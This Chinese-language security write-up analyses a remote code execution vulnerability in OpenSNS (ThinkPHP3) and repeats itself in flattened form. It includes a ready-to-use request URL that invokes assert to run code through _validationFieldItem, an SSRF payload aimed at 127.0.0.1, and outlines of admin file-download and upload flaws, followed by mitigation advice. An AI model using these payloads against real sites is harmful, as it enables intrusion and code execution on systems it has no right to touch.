OpenSNS RCE分析
字数 1219 2025-08-05 08:19:35

OpenSNS 远程命令执行漏洞分析与利用

漏洞概述

OpenSNS 是一款基于 ThinkPHP3 开发的系统,仅支持 PHP5 环境。该系统存在一个远程命令执行漏洞,攻击者可以通过构造特定的请求实现任意代码执行。

漏洞分析

漏洞入口

漏洞入口位于 weibo/share/sharebox,通过 GET 请求提交 query 参数。

漏洞原理

  1. 变量覆盖漏洞:系统在处理 query 参数时存在变量覆盖漏洞。

  2. 模板渲染流程

    • 通过 assign 方法将 $array 数组存入 $this->tVar['parse_array']
    • 使用 T 函数获取模板文件
    • 通过 display 方法渲染模板
  3. W 函数调用:在模板渲染过程中调用 W 函数,最终会调用 weibo app 下的 widget 控制层中的 ShareWidget 控制器的 fetchshare 操作。

  4. 模型调用:通过 D 函数可以实例化任意模型并调用其 public 方法,且参数可控。

关键利用点

  1. 基类方法利用

    • 模型类继承自基类,可以调用父类的保护方法
    • D 函数的第一个参数为空时,返回的是实例化的基类
  2. 危险方法

    • _validationFieldItem 方法中存在 call_user_func_array 调用
    • 通过控制参数可以实现任意函数调用

漏洞利用

RCE 利用

Payload 构造

?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang

参数解析

  • app=Common:指定应用模块
  • model=Schedule:指定模型
  • method=runSchedule:指定方法
  • id[method]:指定要调用的方法(_validationFieldItem
  • id[4]=function:设置验证类型为函数
  • id[1]=assert:指定要调用的函数
  • id[args]=jiang=phpinfo():函数参数
  • id[0]=jiang:变量名

SSRF 利用

admin/curlmodel/curl 模型中存在 SSRF 利用点:

Payload

?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://127.0.0.1/

其他安全问题

后台任意文件下载

在后台下载主题功能中,$aTheme 参数可控,可导致目录穿越和任意文件下载。

后台任意文件上传

  1. 可以上传包含恶意文件的 ZIP 压缩包
  2. 文件会被解压到 Theme 文件夹下

后台任意代码执行

系统存在自包含机制,无需攻击者访问即可执行恶意代码。

防御建议

  1. 对用户输入进行严格过滤和验证
  2. 限制模型方法的调用范围
  3. 升级到最新版本或使用 PHP7+ 环境
  4. 对后台功能加强权限控制
  5. 对文件操作进行路径检查和限制

总结

OpenSNS 的 RCE 漏洞源于不安全的参数处理和模型调用机制,结合变量覆盖漏洞,攻击者可以实现远程代码执行。系统还存在多个后台安全问题,建议管理员及时修复并加强安全防护。

OpenSNS 远程命令执行漏洞分析与利用 漏洞概述 OpenSNS 是一款基于 ThinkPHP3 开发的系统,仅支持 PHP5 环境。该系统存在一个远程命令执行漏洞,攻击者可以通过构造特定的请求实现任意代码执行。 漏洞分析 漏洞入口 漏洞入口位于 weibo/share/sharebox ,通过 GET 请求提交 query 参数。 漏洞原理 变量覆盖漏洞 :系统在处理 query 参数时存在变量覆盖漏洞。 模板渲染流程 : 通过 assign 方法将 $array 数组存入 $this->tVar['parse_array'] 中 使用 T 函数获取模板文件 通过 display 方法渲染模板 W 函数调用 :在模板渲染过程中调用 W 函数,最终会调用 weibo app 下的 widget 控制层中的 ShareWidget 控制器的 fetchshare 操作。 模型调用 :通过 D 函数可以实例化任意模型并调用其 public 方法,且参数可控。 关键利用点 基类方法利用 : 模型类继承自基类,可以调用父类的保护方法 当 D 函数的第一个参数为空时,返回的是实例化的基类 危险方法 : _validationFieldItem 方法中存在 call_user_func_array 调用 通过控制参数可以实现任意函数调用 漏洞利用 RCE 利用 Payload 构造 : 参数解析 : app=Common :指定应用模块 model=Schedule :指定模型 method=runSchedule :指定方法 id[method] :指定要调用的方法( _validationFieldItem ) id[4]=function :设置验证类型为函数 id[1]=assert :指定要调用的函数 id[args]=jiang=phpinfo() :函数参数 id[0]=jiang :变量名 SSRF 利用 在 admin/curlmodel/curl 模型中存在 SSRF 利用点: Payload : 其他安全问题 后台任意文件下载 在后台下载主题功能中, $aTheme 参数可控,可导致目录穿越和任意文件下载。 后台任意文件上传 可以上传包含恶意文件的 ZIP 压缩包 文件会被解压到 Theme 文件夹下 后台任意代码执行 系统存在自包含机制,无需攻击者访问即可执行恶意代码。 防御建议 对用户输入进行严格过滤和验证 限制模型方法的调用范围 升级到最新版本或使用 PHP7+ 环境 对后台功能加强权限控制 对文件操作进行路径检查和限制 总结 OpenSNS 的 RCE 漏洞源于不安全的参数处理和模型调用机制,结合变量覆盖漏洞,攻击者可以实现远程代码执行。系统还存在多个后台安全问题,建议管理员及时修复并加强安全防护。